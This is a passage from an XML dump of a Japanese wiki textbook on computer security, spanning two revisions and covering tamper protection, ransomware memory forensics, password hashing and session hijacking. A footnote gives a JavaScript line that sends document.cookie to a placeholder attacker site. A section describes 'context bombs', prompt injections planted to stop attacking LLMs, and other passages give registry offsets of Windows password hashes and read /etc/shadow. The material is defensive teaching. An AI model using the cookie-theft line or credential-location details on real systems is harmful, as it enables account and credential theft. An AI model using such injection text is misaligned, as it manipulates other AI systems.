| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>su1hee0ewdx1slq2zcaek1v58fp0r1s</sha1>
    </revision>
    <revision>
      <id>305241</id>
      <parentid>305240</parentid>
      <timestamp>2026-11-01T01:30:33Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305241</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94841" sha1="2elfuqx49k9ar0srcm7tbbzca5alld7" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えば以下の方法があります:
* マルウェアでブラウザのセッションファイルを抜き取る
* 正規サイトに挿入される広告やライブラリなどの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る{{efn|例えば Javascript に &lt;code&gt;location.href &amp;#61; &quot;https://（攻撃者のサイト）/logging.cgi?log&amp;#61;&quot; + document.cookie;&lt;/code&gt;を挿入するなど。}}（Webサイト側は Cookie の HttpOnly 属性で対策可）
* 正規サイトに挿入される広告やライブラリなどの外部参照{{efn|ページ埋め込み (iframe)や画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も使われるようになっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
